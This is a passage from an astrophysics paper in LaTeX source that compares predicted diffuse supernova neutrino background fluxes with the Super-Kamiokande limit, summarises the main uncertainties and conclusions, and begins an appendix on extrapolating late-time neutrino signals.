their fluxes $\Phi_{>17.3}$ reach beyond the SK limit (unless a minimal \ensuremath{R_\mathrm{CC}}\ is taken). Also a less extreme value of the NS mass limit or a neutrino engine with a lower fraction of BH-formation events can lead to an integrated flux close to the SK bound: models W20-BH3.1-$\alpha$1.0 and W15-BH3.5-$\alpha$1.0 (not shown in Figure~\ref{fig:dsnb_extremes}) yield $\Phi_{>17.3}\,\mathord{=}\,\unit{2.7^{+2.3}_{-0.9}}{cm^{-2}s^{-1}}$ and $\Phi_{>17.3}\,\mathord{=}\,\unit{2.6^{+2.2}_{-0.9}}{cm^{-2}s^{-1}}$, respectively, with a dominant fraction (85\% and 81\%, respectively) of the \ensuremath{\bar{\nu}_{e}}\ above $\unit{17.3}{MeV}$ originating from BH-formation events. In Table~\ref{tab:overview}, we provide the total integrated fluxes ($\Phi_\mathrm{tot}$), the fluxes within the observational window of 10--30\,MeV ($\Phi_{10-30}$), as well as the flux integrals above $\unit{17.3}{MeV}$ ($\Phi_{>17.3}$) for a subset of our DSNB models.
Unlike the experimental DSNB flux limits of \citet{2003PhRvL..90f1101M}, those provided by \citet{2012PhRvD..85e2007B} depend on the DSNB model employed. Nevertheless, for an energy threshold close to $\sim$20\,MeV, the flux limits are rather insensitive to the shape of the DSNB spectrum as pointed out by \citet{2008JCAP...08..033L}. In any case, the (Fermi-Dirac) spectral temperatures ($\unit{3}{MeV}\,\mathord{\leqslant}\,T_{\nu}\,\mathord{\leqslant}\,\unit{8}{MeV}$) that \citet{2012PhRvD..85e2007B} considered for their modeling of a ``typical'' SN source spectrum, lead to DSNB spectra with slope parameters $E_0$ that cover the range of values obtained in our work.\footnote{In an analytic study, \citet{2007PhRvD..75g3022L} showed that the spectral temperatures of the employed SN source spectrum (before integration over redshifts) translates into the slope parameter $E_0$ of the DSNB spectrum up to some tens of percents.} Repeating their analysis of computing upper DSNB flux limits with our DSNB models should therefore lead to comparable bounds. Instead, we simply compare the experimental flux limit of $\unit{(2.8-3.1)}{cm^{-2}s^{-1}}$ to a subset of our model predictions in Figure~\ref{fig:dsnb_extremes}. Naturally, this cannot replace a sophisticated statistical analysis, which is beyond the scope of this work.
Our fiducial model (W18-BH2.7-$\alpha$2.0) yields an integrated flux of $\Phi_{>17.3}\,\mathord{=}\,\unit{1.3^{+1.1}_{-0.4}}{cm^{-2}s^{-1}}$, which is just below the SK bound, possibly not even by a factor of 2. Intriguingly, \citet{2012PhRvD..85e2007B} pointed out that there might already be a hint of a signal in the SK-II and SK-III data, giving hope that the first detection of the DSNB is within close reach now \citep[cf.][]{2004PhRvL..93q1101B, 2006PhRvC..74a5803Y, 2009PhRvD..79h3013H, 2012PhRvD..85d3011K, 2016JPhG...43c0401A, 2017JCAP...11..031P}.
Since the SN neutrino emission is different for heavy-lepton neutrinos compared to electron antineutrinos (see Section~\ref{subsec:flavor_conversions}), a complete (or partial) flavor swap ($\ensuremath{\bar{\nu}_{e}}\,\mathord{\leftrightarrow}\,\ensuremath{\nu_{x}}$) would affect our previous conclusions: In the case of IH (\ensuremath{\bar{\nu}_{e}}\ survival probability $\bar{p}\,\mathord{\simeq}\,0$), the integrated flux above $\unit{17.3}{MeV}$ of our most extreme model (W20-BH3.5-$\alpha$1.0) decreases by 39\% from $\unit{3.5^{+2.9}_{-1.2}}{cm^{-2}s^{-1}}$ to $\unit{2.1^{+1.8}_{-0.7}}{cm^{-2}s^{-1}}$, which is just below the SK bound (however, note the large uncertainties due to the cosmic core-collapse rate). For the case of NH ($\bar{p}\,\mathord{\simeq}\,0.7$), we obtain $\Phi_{>17.3}\,\mathord{=}\,\unit{3.1^{+2.6}_{-1.1}}{cm^{-2}s^{-1}}$, which is still somewhat above the SK limit. Applying neutrino flavor conversions to our fiducial model, the effects are much reduced, as described in Section~\ref{subsec:flavor_conversions} (see left panel of Figure~\ref{fig:dsnb_uncert} and Table~\ref{tab:dsnb_flavor_conversions}): $\Phi_{>17.3}$ decreases by only 7\% (21\%) from $\unit{1.3^{+1.1}_{-0.4}}{cm^{-2}s^{-1}}$ to $\unit{1.2^{+1.0}_{-0.4}(1.0^{+0.9}_{-0.3})}{cm^{-2}s^{-1}}$ for NH (IH), still reaching close to the SK bound. In Table~\ref{tab:overview}, the first values in the parentheses correspond to the case of a complete flavor swap.
Taking alternative SFHs such as the ones from \citet{2014MadauDickinson} or the \citet{2018Sci...362.1031F}, which we discussed in Section~\ref{sec:fiducial_model}, leads to lower predictions of the DSNB flux compared to our fiducial model, which employs the SFH from \citet{2014ApJ...790..115M}. This implies weaker constraints by the experimental limit, as can be seen in Table~\ref{tab:overview}, where the second and third values in parentheses show the results for a SFH according to the EBL reconstruction by the \citet{2018Sci...362.1031F} and for the SFH from \cite{2014MadauDickinson}, respectively. Independent of the chosen model parameters, the integrated fluxes are reduced compared to the cases with the SFH from \citet{2014ApJ...790..115M}. The flux values of $\Phi_{>17.3}$ for the case of the SFH from \citet{2014MadauDickinson} lie about one third below the ones when taking the best-fit SFH from \citet{2014ApJ...790..115M} (roughly corresponding to the $-$1$\sigma$ lower-limit case of \citet{2014ApJ...790..115M}), whereas there is still significant overlap between the flux values for the SFH of the \citet{2018Sci...362.1031F} and our fiducial flux values (also note the large uncertainty ranges). At the same time, the values of the slope parameter $E_0$ are increased (i.e. the spectral tails are lifted) when taking the SFH of the \citet{2018Sci...362.1031F} or the one from \citet{2014MadauDickinson} (see Table~\ref{tab:exp_fit} and Figure~\ref{fig:dsnb_SFR}). Apparently, the large degeneracy between the parameters entering the flux calculations impedes both precise predictions and the exclusion of models.
\subsection{Comparison with Previous Works}\label{subsec:comparison}
Finally, we compare our DSNB flux predictions with the results of other recent works. For instance, \citet{2017JCAP...11..031P} found a \ensuremath{\bar{\nu}_{e}}-flux above $\unit{11}{MeV}$ in the range of $\unit{(1.4-3.7)}{cm^{-2}s^{-1}}$, with their highest-flux model being a factor of $\sim$3 below the SK limit of \citet{2012PhRvD..85e2007B}. In contrast, our fiducial model yields flux values of $\unit{4.6^{+3.9}_{-1.6}}{cm^{-2}s^{-1}}$ ($\unit{3.9^{+3.3}_{-1.3}}{cm^{-2}s^{-1}}$) above $\unit{11}{MeV}$ in the case we consider neutrino oscillations for NH (IH) \citep[to follow][]{2017JCAP...11..031P}, reaching very close to the SK bound (see Section~\ref{subsec:dsnb_SK_limit}). Likewise, the recent study by \citet{2018JCAP...05..066M} suggested a clearly lower DSNB flux compared to our work (see their figures~3 and 10). These differences between our DSNB estimates and the previous results can be understood by the large variations of the neutrino outputs between the different core-collapse events in our sets of SN and BH-formation models, as shown in Figure~\ref{fig:neutrino_outcomesystematics}. While progenitors at the low end of the considered ZAMS-mass range radiate $\ensuremath{E_{\nu}^\mathrm{tot}}\,\mathord{\simeq}\,\unit{2\,\mathord{\times}\,10^{53}}{erg}$, the emission increases to values of $\unit{(3\,\mathord{-}\,4)\,\mathord{\times}\,10^{53}}{erg}$ for progenitors above about (11--12)\,\ensuremath{\mathrm{M}_\sun}. On the other hand, \citet{2017JCAP...11..031P} and \citet{2018JCAP...05..066M} applied the low-energy neutrino signals ($\ensuremath{E_{\nu}^\mathrm{tot}}\,\mathord{\simeq}\,\unit{2\,\mathord{\times}\,10^{53}}{erg}$) of the s11.2c and z9.6co models considered by them for the entire mass interval between $\sim$8\,\ensuremath{\mathrm{M}_\sun}\ and $\sim$15\,\ensuremath{\mathrm{M}_\sun}, which receives a high weight by the IMF in the integration over all core-collapse events. Moreover, both studies make use of failed-SN models which form BHs relatively quickly (within $\lesssim$2\,s after bounce) and therefore radiate less energy ($\lesssim$3.7\,$\times$\,$10^{53}$\,erg) than most of our failed explosions. Each of these two aspects accounts for a reduction of the integral flux by several ten percent compared to our work.
\citet{2018MNRAS.475.1363H} for the first time employed a larger set of neutrino signals in their DSNB study, including seven models of BH-forming, failed explosions. However, the total neutrino energies \ensuremath{E_{\nu}^\mathrm{tot}}\ radiated from their failed SNe are in general below $\sim$$\unit{3.5\,\mathord{\times}\,10^{53}}{erg}$ (see their figure~5). In contrast, we find total neutrino energies in the cases of failed explosions of up to $\unit{5.2\,\mathord{\times}\,10^{53}}{erg}$ for a NS mass limit of $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.3}{\ensuremath{\mathrm{M}_\sun}}$ and of up to $\unit{6.7\,\mathord{\times}\,10^{53}}{erg}$ when using our fiducial value, $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$ (see Figures~\ref{fig:neutrino_outcomesystematics} and \ref{fig:appendix_E_tot_fSNe}), enhancing the integral flux by some ten percent compared to \citet{2018MNRAS.475.1363H}. Accordingly, our study suggests that in particular the inclusion of slowly-accreting progenitors that lead to late BH formation (not considered in previous works) is responsible for a significant contribution to the DSNB.\\\\\\
\section{Summary of Uncertainties} \label{sec:summary_uncertainties}
After having discussed numerous dependencies of the DSNB, we summarize our main results with their corresponding uncertainties in this section. Again, these uncertainties are considered in reference to our fiducial DSNB spectrum, which is based on the Z9.6\,\&\,W18 neutrino engine with 26.9\% BH-formation cases, a baryonic NS mass limit of 2.7\,\ensuremath{\mathrm{M}_\sun}, a value of $\ensuremath{\alpha_\mathrm{BH}}\,\mathord{=}\,2.0$ for the instantaneous neutrino-emission spectrum of failed SNe, no additional contribution from low-mass NS-formation events (i.e., $\chi\,\mathord{=}\,0$; Equation~\eqref{eq:chi}), only single-star progenitors (i.e., no hydrogen-stripped helium stars), no neutrino flavor oscillations, and the best-fit SFH of \citet{2014ApJ...790..115M}. The corresponding DSNB uncertainties can be grouped into the following four categories:
{\bf(1)} \underline{Stellar-diversity uncertainties} (see Sections~\ref{subsec:dsnb_parameter_study}, \ref{subsec:dsnb_LM}, \ref{subsec:dsnb_binary}; Fig\-ures~\ref{fig:dsnb_parameter_study}, \ref{fig:dsnb_He}): These include the still un\-de\-ter\-mined fraction of BH-forming stellar core-collapse events; a possible, still poorly understood contribution from low-mass NS-formation events (AIC, MIC, or ultrastripped SNe); and the relative fraction of helium stars, which serve as a proxy for SN progenitors that have stripped their hydrogen envelopes as a consequence of binary interaction at the end of core-hydrogen burning.
{\bf(2)} \underline{Microphysical uncertainties} (see Sections~\ref{subsec:dsnb_parameter_study}, \ref{subsec:flavor_conversions}; Fig\-ures~\ref{fig:dsnb_parameter_study}, \ref{fig:dsnb_uncert}): These concern, on the one hand, the still in\-com\-plete\-ly known high-density EoS of NS matter with the corresponding NS-mass limit, and, on the other hand, possible effects of neutrino flavor conversions.
{\bf(3)} \underline{Modeling uncertainties} (see Sections~\ref{subsec:dsnb_parameter_study}, \ref{subsec:remaining_uncertainties};
Fig\-ures~\ref{fig:dsnb_parameter_study}, \ref{fig:dsnb_uncert}): These are connected to our numerical de\-scrip\-tion of the neutrino emission from successful and failed SNe. Here we subsume approximations of the spectral-shape parameter (\ensuremath{\alpha_\mathrm{BH}}) for the instantaneous neutrino-emission spectrum, of the total neutrino energy loss from NS- and BH-formation events, and of the mean energy of the time-integrated \ensuremath{\bar{\nu}_{e}}\ spectrum.
{\bf(4)} \underline{Astrophysical uncertainties} (see Section~\ref{sec:fiducial_model}; Fig\-ure~\ref{fig:dsnb_SFR}): These refer to the still insufficiently con\-strained cosmic SFH, for which we tested different rep\-re\-sen\-ta\-tions.
\begin{figure*}
\includegraphics[width=\textwidth]{fig11}
\caption{
Overview of DSNB uncertainties. The upper left panel shows the \ensuremath{\bar{\nu}_{e}}-flux spectrum, $\mathrm{d}\Phi/\mathrm{d} E$, of our fiducial DSNB model (dashed line) together with its major uncertainties stacked on top of each other (shaded/hatched bands): the failed-SN (fSN) fraction (17.8\% to 41.7\% of core-collapse progenitors depending on the strength of the neutrino engine); the NS baryonic mass limit (2.3\,\ensuremath{\mathrm{M}_\sun}\ to 3.5\,\ensuremath{\mathrm{M}_\sun}); the instantaneous spectral-shape parameter for the emission from failed SNe ($1.0\,\mathord{\leqslant}\,\ensuremath{\alpha_\mathrm{BH}}\,\mathord{\leqslant}\,3.0$); and the uncertainty connected to the cosmic SFH \citep[$\pm1\sigma$ limits of][]{2014ApJ...790..115M}. The resulting ``total'' uncertainty band is the same as in Figure~\ref{fig:dsnb_extremes}. The lower left panel and the right panels show the residuals of our DSNB models where only one parameter is changed relative to the fiducial model, while all other parameters are kept at their default values, grouped by stellar-diversity uncertainties, microphysical uncertainties, modeling uncertainties, and astrophysical uncertainties (see Section~\ref{sec:summary_uncertainties} for more details). LM$_\mathrm{const}$ and LM$_\mathrm{evolv}$ denote cases where the rate densities of low-mass NS-formation events (AIC, MIC, ultrastripped SNe) are constant or evolve with redshift, respectively (both for a value of $\chi\,\mathord{=}\,0.34$, which corresponds to a relative abundance of low-mass NS-formation events of 34\% compared to ``conventional'' core-collapse SNe plus fSNe; Equation~\eqref{eq:chi}). In each panel, gray-shaded vertical bands frame the approximate detection window.\\
\label{fig:summary_uncertainties}}
\end{figure*}
The upper left panel of Figure~\ref{fig:summary_uncertainties} shows our fiducial DSNB \ensuremath{\bar{\nu}_{e}}-flux spectrum with its main uncertainties (failed-SN fraction, NS baryonic mass limit, and spectral shape of the neutrino emission from failed SNe in terms of \ensuremath{\alpha_\mathrm{BH}}), stacked on top of each other. The uncertainty of the SFH is additionally applied to the upper and lower limits of the uncertainty range. The impact of the different uncertainties according to the four categories listed above is illustrated by their corresponding residuals relative to the fiducial spectrum in the four additional panels of Figure~\ref{fig:summary_uncertainties}.
Concerning stellar-diversity uncertainties, a large failed-SN fraction can enhance the DSNB spectrum by up to $\sim$50\%, whereas a considerable fraction of helium stars can shift the spectrum in the opposite direction by about the same margin. Among the microphysical uncertainties, the NS baryonic mass limit has the major impact, but an assumed value of 3.5\,\ensuremath{\mathrm{M}_\sun}\ appears to be on the extreme side in view of current gravitational-wave and kilonova constraints, which seem to point to a mass limit around 2.7\,\ensuremath{\mathrm{M}_\sun}\ \citep[e.g.,][]{2017ApJ...850L..19M}, which we applied for our fiducial spectrum. Future gravitational-wave and kilonova measurements as well as astrophysical observations by NICER \citep{2019ApJ...887L..24M} are likely to constrain this mass limit with increasingly better precision. Among the modeling uncertainties, which are specific to our approach based on large sets of core-collapse simulations with approximate neutrino treatment, the spectral-shape parameter \ensuremath{\alpha_\mathrm{BH}}\ has the dominant influence (up to $\sim$35\% enhancement of the DSNB \ensuremath{\bar{\nu}_{e}}\ spectrum at a neutrino energy of 30\,MeV seem possible). However, this uncertainty as well as the (subdominant) ones connected to the total gravitational binding-energy release and the mean energy of the radiated neutrinos will also be reduced once the NS EoS is better determined and neutrino-signal predictions from detailed transport calculations for large sets of NS- and BH-formation events become available.
Finally, the SFH can make changes of the DSNB \ensuremath{\bar{\nu}_{e}}\ spectrum by up to a factor of two and is certainly a much desirable aspect for further improvements through astronomical observations. If this can be achieved, DSNB measurements will provide an interesting handle to deduce information on the stellar core-collapse diversity, whose effects were the main focus of our work. Conversely, if theoretical and observational advances lead to a better understanding of the population of core-collapse progenitors and their final destinies (i.e., their fates as successful or failed SNe), the forthcoming detection of the DSNB will be able to yield valuable constraints on the SFH, complementing information from surveys for astronomical transients such as LSST \citep{2002SPIE.4836...10T}, which may not be able to reveal the rate of intrinsically faint stellar-death events.
\section{Conclusions} \label{sec:conclusions}
In this work we aimed at performing a comprehensive investigation of current astrophysical uncertainties in the predictions of the DSNB flux spectrum. Our study was based on large sets of single-star models \citep{2016ApJ...821...38S} and helium-star models \citep{2020ApJ...890...51E} for successful and failed SNe. The helium-star progenitors from \citet{2019ApJ...878...49W} were considered as a proxy of massive stars who evolved to the onset of stellar core collapse after stripping their hydrogen envelopes at the end of core-hydrogen burning through binary interaction, e.g., by common-envelope evolution or Roche-lobe overflow \citep[see][]{2012Sci...337..444S}. The progenitor sets contained between 100 and 200 stellar models with ZAMS masses between $<$9\,M$_\odot$ and 120\,M$_\odot$. These models were exploded (or failed to explode) in spherically symmetric simulations with the \textsc{Prometheus-HotB} code, employing a parametrized neutrino engine that was calibrated to reproduce the basic properties of the well-studied SNe of SN~1987A and the Crab Nebula.
Our stellar core-collapse models provided the total energy output in neutrinos from NS- and BH-formation events as well as the time-dependent mean energies of the radiated neutrinos, specifically of \ensuremath{\bar{\nu}_{e}}. Since the treatment of the PNS cooling and its neutrino emission in these large model sets was only approximate, we compared our estimates of the total neutrino energy loss with the gravitational binding energies of NSs (up to their mass limit) as given by the radius dependent fit formula of \citet{2001ApJ...550..426L}. We found good agreement for NS radii of 11--12\,km, which is the range favored by recent astrophysical observations and nuclear theory and experiments. Moreover, we used NS- and BH-formation simulations with the \textsc{Prometheus-Vertex} code (which employs a state-of-the-art treatment of neutrino transport based on a Boltzmann-moment-closure scheme and a mixing-length treatment of PNS convection) to calibrate degrees of freedom in our approximate neutrino signals, for example the shape of the time-dependent neutrino spectrum, which we characterized by the widely used $\alpha$-fit of \citet{2003ApJ...590..971K}. We note that our treatment of the neutrino emission by successful and failed SNe is not based on a detailed microphysical PNS model, but nevertheless our procedure of combining information from \textsc{Prometheus-HotB} simulations with neutrino data from \textsc{Prometheus-Vertex} models enables our study to capture the generic properties of neutrino signals radiated from NS- and BH-formation cases.
In the course of our investigation we varied the neutrino engine, whose power is connected to the properties of the progenitor model considered for SN~1987A, yielding different relative fractions of successful SN events in contrast to failed explosions with BH formation. Moreover, we explored the effects of alternative paths to NS formation besides the stellar core-collapse channel, which could be associated with the accretion-induced or merger-induced collapse (AIC or MIC) of white dwarfs or with ECSN and ultrastripped core-collapse progenitors in close binary systems. All of these cases would preferentially lead to the formation of rather low-mass NSs with little postshock accretion, for which reason we treat this component in analogy to the ECSNe \citep{2010PhRvL.104y1101H} that are included in our standard set of stellar core-collapse models. We also varied the still uncertain NS mass limit (above which a transiently stable, accreting PNS collapses to a BH) between the currently measured largest masses of galactic neutron stars (2.3\,M$_\odot$ baryonic and $\sim$2.0\,M$_\odot$ gravitational) and the maximum mass that can be stabilized by still viable microphysical EoSs (3.5\,M$_\odot$ baryonic and $\sim$2.75\,M$_\odot$ gravitational). Moreover, we varied the shape parameter, $\ensuremath{\alpha_\mathrm{BH}}$, of the time-dependent neutrino emission spectrum from failed explosions and considered, in a standard way, the effects of neutrino flavor oscillations.
Our fiducial case employs a neutrino engine that is fully compatible with observationally determined NS and BH masses as well as chemogalactic constraints on SN nucleosynthesis, a NS mass limit of 2.7\,M$_\odot$ baryonic and $\sim$2.25\,M$_\odot$ gravitational mass (compatible with recent limits from GW170817), and a best-fit $\alpha$-spectrum for the time-dependent neutrino emission. With the SFH adopted from \cite{2014ApJ...790..115M}, it yields a total DSNB \ensuremath{\bar{\nu}_{e}}-flux of $28.8^{+24.6}_{-10.9}$\,cm$^{-2}$s$^{-1}$ with a contribution of $6.0^{+5.1}_{-2.1}$\,cm$^{-2}$s$^{-1}$ in the energy interval of [10,30]\,MeV, which is most favorable for measurements. Our best value of the predicted flux for \ensuremath{\bar{\nu}_{e}}\ energies $>$\,17.3\,MeV is $1.3^{+1.1}_{-0.4}$\,cm$^{-2}$s$^{-1}$, which is slightly lower than the result of
1.6\,cm$^{-2}$s$^{-1}$
published by \citet[with an update at NNN05]{2003APh....18..307A} and about a factor of two below the current SK limit (see \citealt{2012PhRvD..85e2007B}; preliminary, updated value of 2.7\,cm$^{-2}$s$^{-1}$ at 90\% CL by the Super-Kamiokande Collaboration; El Hedri et al. 2020, poster at Neutrino 2020; Nakajima et al. 2020, talk at Neutrino 2020).
Because of the currently expected narrow mass range of ECSNe from single stars, these events yield a negligible contribution to the DSNB. Similarly, the tested alternative low-mass NS-formation channel via AIC and MIC events or SNe from ultrastripped progenitors can contribute on a significant level ($\geqslant$\,10\%) only in the case of an implausibly large constant event rate or in the case of an evolving rate on the level of the cosmic SN~Ia rate. But even then the enhancement of the DSNB spectrum would happen mainly at low neutrino energies $\lesssim$\,10\,MeV and thus outside of the most favorable energy window for detection.
Our study confirms previous results \citep[e.g.,][]{2009PhRvL.102w1101L, 2012PhRvD..85d3011K, 2015ApJ...804...75N, 2016ApJ...827...85H, 2018ApJ...869...31H}, which were based on the consideration of exemplary cases of BH formation, that an increased fraction of failed SNe flattens the exponential-like decline of the DSNB spectrum beyond its peak and lifts the high-energy tail of the spectrum. This effect can be observed both in our model sets with weaker neutrino engines, where a larger fraction of stars collapses to BHs, and, particularly strongly, in those model sets where we assumed a high value for the maximum NS mass. The rise of the high-energy spectrum is mainly connected to core-collapse events with a long delay time until BH formation, where the mass-accreting PNS radiates harder neutrino spectra and releases a considerably higher total binding energy. Correspondingly, the high-energy tail of the DSNB spectrum varies by a factor of 6.6 at 30\,MeV and the DSNB flux values above 17.3\,MeV, $\Phi_{>17.3}$, by a factor of 3.9 between the limits of 0.8\,cm$^{-2}$s$^{-1}$ and 3.1\,cm$^{-2}$s$^{-1}$ (for the models S19.8-BH2.3-$\alpha$2.0 compared to W20-BH3.5-$\alpha$2.0). A similar effect, though considerably weaker (about 14\% increase of $\Phi_{>17.3}$ relative to our fiducial case), can be witnessed when the radiated neutrino spectra from failed explosions are considered to be antipinched ($\ensuremath{\alpha_\mathrm{BH}}\,\mathord{=}\,1$) at all times instead of being Maxwell-Boltzmann like ($\ensuremath{\alpha_\mathrm{BH}}\,\mathord{=}\,2$).
A larger population of hydrogen-stripped binary progenitors of SNe can have a significant impact on the DSNB spectrum, because, compared to single stars, the ZAMS mass range of stars that experience stellar core collapse is shifted upwards by $\sim$5\,M$_\odot$ to the more IMF-suppressed high-mass regime (compare Figure~\ref{fig:neutrino_outcomesystematics_He} with Figure~\ref{fig:neutrino_outcomesystematics}). At the same time, a lower fraction of BH-formation events reduces the high-energy tail. Correspondingly, we found a reduction of the total DSNB \ensuremath{\bar{\nu}_{e}}-flux by $\sim$18\% (53\%) and a reduction of $\Phi_{>17.3}$ by $\sim$20\% (60\%) if 33\% (100\%) of the core-collapse progenitors evolve as helium stars (see Figure~\ref{fig:dsnb_He}). Neutrino flavor oscillations have an effect that is, at most, of roughly comparable magnitude. A complete swap of $\bar\nu_e$ and $\nu_x$ (the most extreme case) reduces our predictions of the total DSNB \ensuremath{\bar{\nu}_{e}}-flux again by $\sim$16\% and of $\Phi_{>17.3}$ by $\sim$21\% relative to our fiducial case.
A major uncertainty in all predictions of the DSNB, however, is the still insufficiently constrained stellar core-collapse rate. With a defined form for the stellar IMF this refers to uncertainties in the cosmic SFH, which render all estimates uncertain within a factor of roughly 3 (considering the $\pm$1\,$\sigma$ range of \citealt{2014ApJ...790..115M}). Rigorously constraining individual inputs of the DSNB by measurements is further hampered by the existing large degeneracies between different effects of relevance. Nevertheless, the most extreme cases included in our study, which combine a very large fraction of BH-forming core-collapse events (up to an IMF-weighted fraction of 42\%) and/or the highest considered value of the NS mass limit (3.5\,M$_\odot$ baryonic and $\sim$2.75\,M$_\odot$ gravitational mass), seem to be ruled out by the current SK limit already.
Some of the physical quantities entering the DSNB calculations can be expected to be better constrained in the not too distant future. An increasing number of gravitational-wave detections from binary-NS mergers \citep{2010CQGra..27q3001A} will yield more information on the maximum NS mass and NS radii, placing tighter constraints on the high-density EoS; a steadily improved statistics of binary BH mergers might lead to better constraints on BH formation events and progenitors (see, e.g., \citealt{2020ApJ...896...56W}); long-baseline neutrino oscillation experiments should be able to determine the neutrino mass hierarchy \citep[e.g.,][]{2013arXiv1307.7335L}; and upcoming wide-field surveys such as LSST \citep{2002SPIE.4836...10T} will measure the rate of \textit{visible} SNe (below $z\,\mathord{\sim}\,1$) to good accuracy.
Complementary to these perspectives, future observations of the DSNB will probe the \textit{entire} population of stellar core-collapse events with its full diversity, particularly including \textit{faint} and \textit{failed} explosions \citep[cf.][]{2010PhRvD..81h3001L}. This opens the chance to better constrain the cosmic core-collapse rate as well as the fraction of BH-forming, failed SNe \citep{2018JCAP...05..066M}. Moreover, the DSNB may even carry the imprint of new physics \citep[e.g.,][]{2004PhRvD..70a3001F, 2014JCAP...06..014F, 2018JCAP...06..019J, 2020arXiv200713748D, 2020arXiv201110933T}. These exciting prospects for both particle and astrophysics motivate ongoing efforts to steadily improve the theoretical predictions of the DSNB. The next upgrade in this direction should be fully self-consistent successful and failed SN simulations with a detailed modeling of the neutrino signal radiated by the forming compact remnant.\\
\textit{Note added:} When our paper was already in the production process, we got notice of a new arXiv posting by \citet{2020arXiv201208524H}, dealing with the impact of mass transfer and mergers during binary evolution on the DSNB spectrum. We agree that this progenitor component of core-collapse SNe, which we did not take into account in our study, can potentially increase the DSNB flux, partially compensating the reducing influence of stripped progenitors discussed in our work. However, the relevant effects of mass transfer and mergers depend on a variety of uncertain processes during stellar evolution and are hard to assess in quantitative detail.\\
Our results are made available for download upon request on the following website: \url{https://wwwmpa.mpa-garching.mpg.de/ccsnarchive/archive.html}
\acknowledgments
We thank the anonymous referee for useful comments, which helped improve our paper. We also thank G. Raffelt, J. Sawatzki, and L. Oberauer for stimulating discussions. We are grateful to G. Stockinger for improving the treatment of energy transfer by neutrino-nucleon scattering in the neutrino-transport solver of \textsc{Prometheus-HotB}, to A. Heger for providing his z9.6 progenitor model, and to R. Bollig for providing his s20.0 neutrino signals. Funding by the Deutsche Forschungsgemeinschaft (DFG, German Research Foundation) through Sonderforschungsbereich (Collaborative Research Center) SFB-1258 ``Neutrinos and Dark Matter in Astro- and Particle Physics (NDM)'' and under Germany's Excellence Strategy through Cluster of Excellence ORIGINS (EXC-2094)---390783311, and by the European Research Council through Grant ERC-AdG No.~341157-COCO2CASA is acknowledged.
\software{\textsc{Prometheus-HotB} \citep{1996A&A...306..167J, 2003A&A...408..621K, 2006A&A...457..963S, 2016ApJ...818..124E, 2020ApJ...890...51E}, NumPy \citep{NumPy}, Scipy \citep{SciPy}, IPython \citep{IPython}, Matplotlib \citep{Matplotlib}, Bibmanager \citep{bibmanager}.}\\
\clearpage
\section*{Appendix}
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\section{Extrapolation of neutrino signals}\label{appendix:extrapolation}
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\newcommand{\ensuremath{L_0^\mathrm{core}}}{\ensuremath{L_0^\mathrm{core}}}
\begin{figure*}[ht!]
\includegraphics[width=\textwidth]{figA1}
\caption{Systematics of our signal extrapolation over the range of progenitor models from the WH15, SW14, and WH07 sets for the Z9.6\,\&\,W18 engine (cf. Figure~\ref{fig:neutrino_outcomesystematics}). In the upper panel, the starting time of our extrapolation, $t_0$, is given. The lower panel shows the relative fraction of the total radiated neutrino energy arising from the extrapolation (note the logarithmic scale). Both quantities are plotted versus ZAMS mass. Red bars indicate successful SN explosions (including rare fallback SNe), while BH-forming, failed SNe are marked in dark blue, light blue, and cyan corresponding to a baryonic NS mass limit of $\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$, $\unit{3.1}{\ensuremath{\mathrm{M}_\sun}}$, and $\unit{3.5}{\ensuremath{\mathrm{M}_\sun}}$, respectively (no extrapolation is needed for the case of $\unit{2.3}{\ensuremath{\mathrm{M}_\sun}}$). The time $t_0$ is independent of the mass limit. Progenitors below a ZAMS mass of $\unit{10}{\ensuremath{\mathrm{M}_\sun}}$ as well as fast-accreting BH cases do not require extrapolation.\\
\label{fig:extrapolation}}
\end{figure*}
In our analysis as described in Sections~\ref{sec:simulation_setup} and \ref{sec:DSNB_formulation}, we employ the neutrino signals from successful SNe (including rare cases of fallback SNe) up to $\unit{15}{s}$ post bounce, at which time their luminosities have declined to a level that is not relevant for our purpose of estimating the DSNB; moreover at late times the NS temperature drops and therefore the mean spectral energies of the emitted neutrinos shift out of the DSNB detection window. In contrast, the signals from failed explosions have to be followed until the accreting NS reaches the mass limit for BH formation, \ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}, which may take tens of seconds in cases of low mass-accretion rates and high \ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\ (see upper panel of Figure~\ref{fig:neutrino_outcomesystematics}). Not all of our successful or failed SN simulations could be carried out long enough because of rising computational costs or due to numerical problems emerging at late times (after several seconds). We thus extrapolate these neutrino signals after the computational end at post-bounce time $t_0$. In the upper panel of Figure~\ref{fig:extrapolation}, $t_0$ is plotted against ZAMS mass for our reference engine model Z9.6\,\&\,W18. Typically, our extrapolation starts at around 8--10\,s, whereas no extrapolation was needed for a few successful SNe near the low-mass end and for fast-accreting failed SNe with short-lived NSs (see top panel of Figure~\ref{fig:neutrino_outcomesystematics}). Even if the exact values of $t_0$ are slightly different for our other neutrino engines, the overall picture remains the same.
The cooling phases of our successful, NS-forming SNe can be described approximately by an exponential decline of the neutrino signal at sufficiently late times after shock revival, when the mass accretion onto the hot PNS has ceased and the diffusion of neutrinos from the core defines the emission \citep[][]{1986ApJ...307..178B, 1995A&A...296..145K, 1999ApJ...513..780P}. We thus extrapolate the signals of our successful SNe according to
\begin{equation}\label{eq:L_core}
L_\mathrm{core}(t) = \ensuremath{L_0^\mathrm{core}}\,\mathrm{e}^{-(t-t_0)/\tau}
\end{equation}
